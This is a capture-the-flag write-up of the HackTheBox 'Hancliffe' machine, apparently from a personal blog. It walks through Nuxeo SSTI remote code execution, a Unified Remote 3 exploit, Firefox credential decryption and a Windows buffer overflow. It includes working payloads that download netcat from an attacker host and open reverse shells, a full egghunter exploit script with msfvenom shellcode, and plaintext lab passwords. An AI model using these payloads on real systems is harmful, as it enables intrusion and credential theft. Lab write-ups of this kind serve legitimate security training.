Hancliffe is a hard rated machine on HackTheBox created by Revolt. For the user part we will abuse a path normalisation vulnerability and a CVE in nuxeo to achieve RCE and a foothold on the machine. On the machine the running Unified Remote 3
version has another know vulnerability which gives us a shell as clara. For the root part we will find credentials for a password manager in claraโs firefox data. This letโs us login via PSRemote as the development user, who has access to a directory with an application running as administrator. This application has a buffer overflow vulnerability which we can abuse to achieve a reverse shell as administrator on the machine.
User
Nmap
As usual we start our enumeration of with a nmap scan against all ports followed by a script and version detection scan against the open ones to get an initial overview of the attack surface.
All ports
1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.95.247
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-10 16:43 GMT
Nmap scan report for hancliffe.htb (10.129.95.247)
Host is up (0.066s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
8000/tcp open http-alt
9999/tcp open abyss
Nmap done: 1 IP address (1 host up) scanned in 290.27 seconds
Scrip and version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ sudo nmap -p80,8000,9999 -sC -sV 10.129.95.247
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-10 16:49 GMT
Nmap scan report for hancliffe.htb (10.129.95.247)
Host is up (0.027s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.21.0
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.21.0
8000/tcp open http nginx 1.21.0
|_http-title: HashPass | Open Source Stateless Password Manager
|_http-server-header: nginx/1.21.0
9999/tcp open abyss?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBPr
ogNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
| Welcome Brankas Application.
| Username: Password:
| NULL:
| Welcome Brankas Application.
|_ Username:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.92%I=7%D=10/10%Time=61631994%P=x86_64-pc-linux-gnu%r(N
...[snip]...
F:sword:\x20")%r(NotesRPC,31,"Welcome\x20Brankas\x20Application\.\nUserna
SF:me:\x20Password:\x20");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 157.03 seconds
Nuxeo
From the open ports the web ports seem promising so we start there. Going over to port 80 we see the default nginx hosting page.
On port 8000 there is an installation of a password manager running which doesnโt seem of much use just yet.
Running a gobuster scan on the application on port 80 we can identify a maintenance directory which getโs redirected to /nuxeo/Maintenance/
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -u http://hancliffe.htb/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://hancliffe.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/10/10 17:28:57 Starting gobuster in directory enumeration mode
===============================================================
/. (Status: 200) [Size: 612]
/maintenance (Status: 302) [Size: 0] [--> /nuxeo/Maintenance/]
/con (Status: 500) [Size: 494]
/nul (Status: 500) [Size: 494]
Looking for recent vulnerabilities in nuxeo we find CVE-2018-16341. Going over to /maintenance
it just displays a we'll be back soon
page.
The application does howerver perform a dangerous path normalisation which letโs us access the directory one path up leading to access to the login.jsp
page mentioned in the PoC exploit of the CVE. This page also displays the running version of nuxeo which seems to be promising for the vulnerability to be present.
Testing for the SSTI with a simple payload we can see that our code gets evaluated, confirming our suspicion.
Following the PoC of the exploit we can build a payload adding an additional parameter in the exec
part. This letโs us move our complete payload to the end of the request.
1
/maintenance/..;/login.jsp/pw${''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(param.x)}.xhtml?x=powershell.exe+iwr+http://10.10.14.74/nc64.exe+-o+C:/windows/temp/c.exe;C:/windows/temp/c.exe+-e+powershell+10.10.14.74+7575
We start a python webserver to host our netcat binary and listen on the port we want to recieve the reverse shell.
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
$ rlwrap nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Now we can send the request in burp, url encoding the whole SSTI part of the payload to safely send bad characters.
We get a hit on our web server for the nc64.exe
binary and almost instantly after a reverse shell on our listener as svc_account
1
2
3
4
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.95.247 - - [10/Oct/2021 19:49:06] "GET /nc64.exe HTTP/1.1" 200 -
10.129.95.247 - - [10/Oct/2021 19:50:10] "GET /nc64.exe HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
13
$ rlwrap nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.95.247.
Ncat: Connection from 10.129.95.247:49762.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Nuxeo > whoami
hancliffe\svc_account
Unified Remote 3
Looking for unusual installed programs we find Unified Remote 3
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\Nuxeo > ls '\Program Files (x86)\\'
Directory: C:\Program Files (x86)
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/3/2021 7:11 AM Common Files
d----- 10/3/2021 11:08 PM Internet Explorer
d----- 6/3/2021 8:09 PM Microsoft
d----- 12/7/2019 6:48 AM Microsoft.NET
d----- 6/26/2021 10:15 PM Mozilla Maintenance Service
d----- 6/12/2021 2:51 AM MSBuild
d----- 6/12/2021 2:51 AM Reference Assemblies
d----- 6/12/2021 12:21 AM Unified Remote 3
d----- 4/9/2021 6:48 AM Windows Defender
d----- 7/18/2021 12:20 AM Windows Mail
d----- 12/7/2019 6:44 AM Windows NT
d----- 4/9/2021 6:48 AM Windows Photo Viewer
d----- 12/7/2019 1:25 AM WindowsPowerShell
Checking google for known vulnerabilities we find this PoC, which seems promising to achieve RCE. A quick check with netstat shows the port mentioned is indeed listening on the machine.
1
2
3
4
PS C:\Nuxeo> netstat -anp tcp | sls -pattern "9512"
TCP 0.0.0.0:9512 0.0.0.0:0 LISTENING
To access it from the outside we upload chisel to the machine and forward the traffic with its socks proxy.
1
PS C:\Nuxeo> iwr http://10.10.14.74/chisel.exe -o C:\windows\temp\chisel.exe
1
2
3
4
$ chisel server -p 9000 -reverse
2021/10/10 20:13:55 server: Reverse tunnelling enabled
2021/10/10 20:13:55 server: Fingerprint R4SdYmLJLpL1Y7N1fmNYM4xpjHQaMOKRK9XJ5WHk+eY=
2021/10/10 20:13:55 server: Listening on http://0.0.0.0:9000
1
PS C:\Nuxeo> start-process -filepath C:/windows/temp/chisel.exe -argumentlist "client","10.10.14.74:9000","R:socks"
1
2
3
4
5
6
$ chisel server -p 9000 -reverse
2021/10/10 20:13:55 server: Reverse tunnelling enabled
2021/10/10 20:13:55 server: Fingerprint R4SdYmLJLpL1Y7N1fmNYM4xpjHQaMOKRK9XJ5WHk+eY=
2021/10/10 20:13:55 server: Listening on http://0.0.0.0:9000
2021/10/10 20:14:13 server: session#1: Client version (1.7.6) differs from server version (0.0.0-src)
2021/10/10 20:14:13 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
We also modify the main function of the PoC specifying arguments to the downloaded executable, which will be netcat in this case.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
...[snip]...
def main():
target.connect((rhost,port))
sleep(0.5)
print("[+] Connecting to target...")
target.sendto(open,(rhost,port)) # Initialize Connection to Unified
sleep(0.02)
target.sendto(open_fin,(rhost,port)) # Finish Initializing Connection
print("[+] Popping Start Menu")
sleep(0.02)
SendWin()
sleep(0.3)
print("[+] Opening CMD")
SendString("cmd.exe", rhost)
sleep(0.3)
SendReturn()
sleep(0.3)
print("[+] *Super Fast Hacker Typing*")
SendString("certutil.exe -f -urlcache http://" + lhost + "/" + payload + " C:\\Windows\\Temp\\" + payload, rhost) # Retrieve HTTP hosted payload
sleep(0.3)
print("[+] Downloading Payload")
SendReturn()
sleep(3)
SendString("C:\\Windows\\Temp\\" + payload + " -e powershell 10.10.14.74 7575", rhost) # Execute Payload
sleep(0.3)
SendReturn()
print("[+] Done! Check listener?")
target.close()
...[snip]...
We serve the binary with a python web server again and start a listener on the port we specified.
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
5
$ rlwrap nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Running the exploit with proxychains we get a hit on our web server and shortly afterwards a reverse shell back on our listener as clara.
1
2
3
4
5
6
7
8
9
$ proxychains python2 49587.py hancliffe.htb 10.10.14.74 nc64.exe
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[+] Connecting to target...
[+] Popping Start Menu
[+] Opening CMD
[+] *Super Fast Hacker Typing*
[+] Downloading Payload
[+] Done! Check listener?
1
2
3
4
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.95.247 - - [10/Oct/2021 20:28:21] "GET /nc64.exe HTTP/1.1" 200 -
10.129.95.247 - - [10/Oct/2021 20:28:21] "GET /nc64.exe HTTP/1.1" 200 -
As clara we can now pick up the user flag and continue our way to root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ rlwrap nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.95.247.
Ncat: Connection from 10.129.95.247:49840.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Users\clara> whoami
hancliffe\clara
PS C:\Users\clara> cat \users\clara\desktop\user.txt | measure -c
Lines Words Characters Property
----- ----- ---------- --------
32
Root
Firefox decrypt
Looking at claraโs firefox profile we see that the key4.db
isnโt empty which looks promising.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
PS C:\Users\clara> ls C:\users\clara\appdata\roaming\mozilla\firefox\profiles\ljftf853.default-release
Directory: C:\users\clara\appdata\roaming\mozilla\firefox\profiles\ljftf853.default-release
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/26/2021 10:17 PM bookmarkbackups
d----- 6/26/2021 10:18 PM crashes
d----- 6/26/2021 10:32 PM datareporting
d----- 6/26/2021 10:29 PM features
d----- 6/26/2021 10:22 PM gmp-gmpopenh264
d----- 6/26/2021 10:22 PM gmp-widevinecdm
d----- 6/26/2021 10:17 PM minidumps
d----- 6/26/2021 10:32 PM saved-telemetry-pings
d----- 6/26/2021 10:22 PM security_state
d----- 6/26/2021 10:32 PM sessionstore-backups
d----- 6/26/2021 10:17 PM storage
-a---- 6/26/2021 10:29 PM 24 addons.json
-a---- 6/26/2021 10:29 PM 4199 addonStartup.json.lz4
-a---- 6/26/2021 10:22 PM 858 AlternateServices.txt
-a---- 6/26/2021 10:22 PM 216 broadcast-listeners.json
-a---- 6/26/2021 10:22 PM 229376 cert9.db
-a---- 6/26/2021 10:32 PM 85 cert_override.txt
-a---- 6/26/2021 10:17 PM 199 compatibility.ini
-a---- 6/26/2021 10:17 PM 939 containers.json
-a---- 6/26/2021 10:17 PM 229376 content-prefs.sqlite
-a---- 6/26/2021 10:17 PM 98304 cookies.sqlite
-a---- 6/26/2021 10:29 PM 1123 extension-preferences.json
-a---- 6/26/2021 10:31 PM 38223 extensions.json
-a---- 6/26/2021 10:32 PM 5242880 favicons.sqlite
-a---- 6/26/2021 10:17 PM 262144 formhistory.sqlite
-a---- 6/26/2021 10:17 PM 683 handlers.json
-a---- 6/26/2021 10:20 PM 294912 key4.db
-a---- 6/26/2021 10:21 PM 674 logins.json
-a---- 6/26/2021 10:17 PM 0 parent.lock
-a---- 6/26/2021 10:32 PM 98304 permissions.sqlite
-a---- 6/26/2021 10:17 PM 505 pkcs11.txt
-a---- 6/26/2021 10:32 PM 5242880 places.sqlite
-a---- 6/26/2021 10:32 PM 11512 prefs.js
-a---- 6/26/2021 10:17 PM 180 search.json.mozlz4
-a---- 6/26/2021 10:32 PM 288 sessionCheckpoints.json
-a---- 6/26/2021 10:32 PM 2566 sessionstore.jsonlz4
-a---- 6/26/2021 10:17 PM 18 shield-preference-experiments.json
-a---- 6/26/2021 10:32 PM 730 SiteSecurityServiceState.txt
-a---- 6/26/2021 10:32 PM 4096 storage.sqlite
-a---- 6/26/2021 10:17 PM 50 times.json
-a---- 6/26/2021 10:32 PM 98304 webappsstore.sqlite
-a---- 6/26/2021 10:32 PM 220 xulstore.json
To transfer the files we stand up a smb server with impacket and copy logins.json
, key4.db
, storage.sqlite
and places.sqlite
to our machine.
1
2
3
4
5
6
7
8
9
$ sudo smbserver.py -smb2support files . -username sm1l3z -password '$V#(NM&cfm#M(a'
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
1
2
3
4
5
6
7
PS C:\Users\clara> net use y: \\10.10.14.74\files /user:sm1l3z '$V#(NM&cfm#M(a'
The command completed successfully.
PS C:\Users\clara> cp logins.json y:
PS C:\Users\clara> cp key4.db y:
PS C:\Users\clara> cp storage.sqlite y:
PS C:\Users\clara> cp places.sqlite y:
Now we can use firepwd.py to dump the credentials stored. This reveals what seems to be the master password for the password manager running on port 8000.
1
2
3
4
5
6
7
8
9
$ python firepwd.py -d ../exfil/
globalSalt: b'9a30912b4d63331f8493789d7b0fce68520f9265'
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes
...[snip]...
clearText b'9efbbfd986fd5bef94b032679b7679d09b1f51891601b6e50808080808080808'
decrypting login/password pairs
http://localhost:8000:b'hancliffe.htb',b'#@H@ncLiff3D3velopm3ntM@st3rK3y*!'
With this password we can use the app to retrieve the password of the development user.
Testing the credentials against winrm we are able to log into the machine.
1
2
3
4
5
6
7
8
9
$ proxychains evil-winrm -u development -p 'AMl.q2DHp?2.C/V0kNFU' -i hancliffe.htb
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\development\Documents>
BOF
We now have access to the C:\DevApp
directory on the machine.
1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\ > ls \devapp
Directory: C:\devapp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/14/2021 5:02 AM 60026 MyFirstApp.exe
-a---- 9/14/2021 10:57 AM 636 restart.ps1
The powershell script seems to run and restart MyFirstApp.exe
. It also maps the port the app is running on to 9999
which we identified earlier in our nmap scan. Since this command needs administrative access to run we can assume that the binary is running in high integrity context on the machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
*Evil-WinRM* PS C:\ > cat \devapp\restart.ps1
# Restart app every 3 mins to avoid crashes
while($true) {
# Delete existing forwards
cmd /c "netsh interface portproxy delete v4tov4 listenport=9999 listenaddress=0.0.0.0"
# Spawn app
$proc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList ("C:\DevApp\MyFirstApp.exe")
sleep 2
# Get random port
$port = (Get-NetTCPConnection -OwningProcess $proc.ProcessId).LocalPort
# Forward port to 9999
cmd /c "netsh interface portproxy add v4tov4 listenport=9999 listenaddress=0.0.0.0 connectport=$port connectaddress=127.0.0.1"
sleep 180
# Kill and repeat
taskkill /f /t /im MyFirstApp.exe
}
We transfer the binary over to our machine and open it up in ghidra. We see that it takes input for a username and a password and passes it to the _login
function.
In this function we can identify the username to be alfiansyah
. For the password it calls two encryption functions on the input, base64 encodes the result and then compares it to YXlYeDtsbD98eDtsWms5SyU=
.
Looking at the first encryption function it seems to be atbash.
The other encryption function looks like rot47.
Since both of these encryptions are present in cyberchef we can just use it to decode the base64, decrypt atbash and rot47.
Looking further down the application flow in ghidra we see it also reads a FullName
and a code. It then calls the _SaveCreds
functions on the values it read.
The interesting part here is that the passed arguments can be both 0x50
bytes long but in the _SaveCreds
function it calls strcopy
on the code parameter which only has a buffer of 50
bytes resulting in a buffer overflow vulnerability.
To take a close look at the binary we transfer it over to our windows machine and open it in x32dbg
. Checking for protections with the ERC
plugin using ERC --ProcessInfo
we can see that ALSR and NX are disabled.
To exploit this we first need to find the offset we can create a pattern to do this with ERC --pattern c 500
. We take this pattern and build a short python script with pwntools to crash the program.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.arch = 'i386'
context.log_level = 'DEBUG'
io = remote('windows', 9868)
io.sendlineafter('Username: ','alfiansyah')
io.sendlineafter('Password: ', 'K3r4j@@nM4j@pAh!T')
io.sendlineafter('FullName: ', 'strcopy good')
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac"
pattern += "9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8"
pattern += "Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7A"
pattern += "i8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al"
pattern += "7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6"
pattern += "Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"
io.sendlineafter('Input Your Code: ', pattern)
After the crash we can find the offset with ERC --FindNrp
. This returns an offset of 66 and also reveals that the start of our input ends up in the eax
register.
Since space is limited we cannot place a full payload and just point eip
to it. The space in eax
however is big enough to place an egghunter there and let it search the actual shellcode passed to the initial 0x400
read for the code. For this we first need to find an instruction to jump to eax
to execute our egghunter.
We can find a short egghunter on this blogpost. This egghunter has been created by the mona plugin of immunity debugger for wow64 applications on windows 10(32 bit applications running on a 64 bit OS). The only problem we have to deal with is that the stackpointer needs to be decremented to avoid overwriting our own egghunter. We can use defuse.ca to generate the needed shellcode and place it at the start of our egghunter code. Next we also replace the string the egghunter searches for with w00t
.
Now we have to generate the shellcode for our reverse shell using msfvenom, specifying our ip and the port we want to recieve the reverse shell on.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.74 LPORT=7575 -b "\x00" EXITFUNC=thread -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf = b""
buf += b"\xbe\xb8\x2f\xbb\x90\xd9\xec\xd9\x74\x24\xf4\x5b\x33"
buf += b"\xc9\xb1\x52\x31\x73\x12\x83\xeb\xfc\x03\xcb\x21\x59"
buf += b"\x65\xd7\xd6\x1f\x86\x27\x27\x40\x0e\xc2\x16\x40\x74"
buf += b"\x87\x09\x70\xfe\xc5\xa5\xfb\x52\xfd\x3e\x89\x7a\xf2"
buf += b"\xf7\x24\x5d\x3d\x07\x14\x9d\x5c\x8b\x67\xf2\xbe\xb2"
buf += b"\xa7\x07\xbf\xf3\xda\xea\xed\xac\x91\x59\x01\xd8\xec"
buf += b"\x61\xaa\x92\xe1\xe1\x4f\x62\x03\xc3\xde\xf8\x5a\xc3"
buf += b"\xe1\x2d\xd7\x4a\xf9\x32\xd2\x05\x72\x80\xa8\x97\x52"
buf += b"\xd8\x51\x3b\x9b\xd4\xa3\x45\xdc\xd3\x5b\x30\x14\x20"
buf += b"\xe1\x43\xe3\x5a\x3d\xc1\xf7\xfd\xb6\x71\xd3\xfc\x1b"
buf += b"\xe7\x90\xf3\xd0\x63\xfe\x17\xe6\xa0\x75\x23\x63\x47"
buf += b"\x59\xa5\x37\x6c\x7d\xed\xec\x0d\x24\x4b\x42\x31\x36"
buf += b"\x34\x3b\x97\x3d\xd9\x28\xaa\x1c\xb6\x9d\x87\x9e\x46"
buf += b"\x8a\x90\xed\x74\x15\x0b\x79\x35\xde\x95\x7e\x3a\xf5"
buf += b"\x62\x10\xc5\xf6\x92\x39\x02\xa2\xc2\x51\xa3\xcb\x88"
buf += b"\xa1\x4c\x1e\x1e\xf1\xe2\xf1\xdf\xa1\x42\xa2\xb7\xab"
buf += b"\x4c\x9d\xa8\xd4\x86\xb6\x43\x2f\x41\xb3\x99\x21\x81"
buf += b"\xab\x9f\x3d\xbc\xbc\x29\xdb\xd4\xd2\x7f\x74\x41\x4a"
buf += b"\xda\x0e\xf0\x93\xf0\x6b\x32\x1f\xf7\x8c\xfd\xe8\x72"
buf += b"\x9e\x6a\x19\xc9\xfc\x3d\x26\xe7\x68\xa1\xb5\x6c\x68"
buf += b"\xac\xa5\x3a\x3f\xf9\x18\x33\xd5\x17\x02\xed\xcb\xe5"
buf += b"\xd2\xd6\x4f\x32\x27\xd8\x4e\xb7\x13\xfe\x40\x01\x9b"
buf += b"\xba\x34\xdd\xca\x14\xe2\x9b\xa4\xd6\x5c\x72\x1a\xb1"
buf += b"\x08\x03\x50\x02\x4e\x0c\xbd\xf4\xae\xbd\x68\x41\xd1"
buf += b"\x72\xfd\x45\xaa\x6e\x9d\xaa\x61\x2b\xbd\x48\xa3\x46"
buf += b"\x56\xd5\x26\xeb\x3b\xe6\x9d\x28\x42\x65\x17\xd1\xb1"
buf += b"\x75\x52\xd4\xfe\x31\x8f\xa4\x6f\xd4\xaf\x1b\x8f\xfd"
The finished exploit script looks like this. We open a connection to the application running on port 90. We then send the username and decrypted password. For the fullname we can pass it anything and the code will be our payload. The payload consists of our egghunter padded with nop instructions up to the eip
overwrite. eip
contains the jump eax
instructions and we add a few bytes afterwards to avoid that the search string ends up on the stack. Since there isnโt enough space our payload would be cut off at this point and if the egghunter finds this string the exploit would fail. After those nopโs we can now place our string to search for followed by the shellcode.
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
io = remote('hancliffe.htb', 9999)
offset = 66
jmp_eax = p32(0x719023b3)
#sub sp,0x150
egghunter = (b"\x66\x81\xEC\x50\x01\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53"
b"\x53\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08"
b"\x3c\x05\x74\xdf\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xda\xaf\x75"
b"\xd7\xff\xe7")
#msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.74 LPORT=7575 -b "\x00" EXITFUNC=thread -f python
buf = b""
buf += b"\xbe\xb8\x2f\xbb\x90\xd9\xec\xd9\x74\x24\xf4\x5b\x33"
buf += b"\xc9\xb1\x52\x31\x73\x12\x83\xeb\xfc\x03\xcb\x21\x59"
buf += b"\x65\xd7\xd6\x1f\x86\x27\x27\x40\x0e\xc2\x16\x40\x74"
buf += b"\x87\x09\x70\xfe\xc5\xa5\xfb\x52\xfd\x3e\x89\x7a\xf2"
buf += b"\xf7\x24\x5d\x3d\x07\x14\x9d\x5c\x8b\x67\xf2\xbe\xb2"
buf += b"\xa7\x07\xbf\xf3\xda\xea\xed\xac\x91\x59\x01\xd8\xec"
buf += b"\x61\xaa\x92\xe1\xe1\x4f\x62\x03\xc3\xde\xf8\x5a\xc3"
buf += b"\xe1\x2d\xd7\x4a\xf9\x32\xd2\x05\x72\x80\xa8\x97\x52"
buf += b"\xd8\x51\x3b\x9b\xd4\xa3\x45\xdc\xd3\x5b\x30\x14\x20"
buf += b"\xe1\x43\xe3\x5a\x3d\xc1\xf7\xfd\xb6\x71\xd3\xfc\x1b"
buf += b"\xe7\x90\xf3\xd0\x63\xfe\x17\xe6\xa0\x75\x23\x63\x47"
buf += b"\x59\xa5\x37\x6c\x7d\xed\xec\x0d\x24\x4b\x42\x31\x36"
buf += b"\x34\x3b\x97\x3d\xd9\x28\xaa\x1c\xb6\x9d\x87\x9e\x46"
buf += b"\x8a\x90\xed\x74\x15\x0b\x79\x35\xde\x95\x7e\x3a\xf5"
buf += b"\x62\x10\xc5\xf6\x92\x39\x02\xa2\xc2\x51\xa3\xcb\x88"
buf += b"\xa1\x4c\x1e\x1e\xf1\xe2\xf1\xdf\xa1\x42\xa2\xb7\xab"
buf += b"\x4c\x9d\xa8\xd4\x86\xb6\x43\x2f\x41\xb3\x99\x21\x81"
buf += b"\xab\x9f\x3d\xbc\xbc\x29\xdb\xd4\xd2\x7f\x74\x41\x4a"
buf += b"\xda\x0e\xf0\x93\xf0\x6b\x32\x1f\xf7\x8c\xfd\xe8\x72"
buf += b"\x9e\x6a\x19\xc9\xfc\x3d\x26\xe7\x68\xa1\xb5\x6c\x68"
buf += b"\xac\xa5\x3a\x3f\xf9\x18\x33\xd5\x17\x02\xed\xcb\xe5"
buf += b"\xd2\xd6\x4f\x32\x27\xd8\x4e\xb7\x13\xfe\x40\x01\x9b"
buf += b"\xba\x34\xdd\xca\x14\xe2\x9b\xa4\xd6\x5c\x72\x1a\xb1"
buf += b"\x08\x03\x50\x02\x4e\x0c\xbd\xf4\xae\xbd\x68\x41\xd1"
buf += b"\x72\xfd\x45\xaa\x6e\x9d\xaa\x61\x2b\xbd\x48\xa3\x46"
buf += b"\x56\xd5\x26\xeb\x3b\xe6\x9d\x28\x42\x65\x17\xd1\xb1"
buf += b"\x75\x52\xd4\xfe\x31\x8f\xa4\x6f\xd4\xaf\x1b\x8f\xfd"
payload = b''
payload += egghunter
payload += b'\x90' * (offset - len(egghunter))
payload += jmp_eax
payload += b'\x90' * 50
payload += b'w00tw00t'
payload += buf
io.sendlineafter('Username: ','alfiansyah')
io.sendlineafter('Password: ', 'K3r4j@@nM4j@pAh!T')
io.sendlineafter('FullName: ', 'what ever')
io.sendlineafter('Input Your Code: ', payload)
We set up a ncat listener on the port we specified and run the exploit script.
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
1
2
3
$ python exploit.py
[+] Opening connection to hancliffe.htb on port 9999: Done
[*] Closed connection to hancliffe.htb port 999
After a short delay the egghunter finds the string and moves execution to the shellcode resulting in a reverse shell as the administrator user and the root flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.95.247.
Ncat: Connection from 10.129.95.247:57539.
Microsoft Windows [Version 10.0.19043.1266]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
hancliffe\administrator
C:\Windows\system32>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32> cat \users\administrator\desktop\root.txt | measure -c
Lines Words Characters Property
----- ----- ---------- --------
32
Unintended
Initially there was also an unintended way that skipped the buffer overflow part of the machine. Looking at the ACL for C:\devapp
you could see that authenticated users have modify rights. Since the script restarting the app just looks at the path you could simply move the folder somewhere else, create a new C:\DevApp
folder and place an exe inside the folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
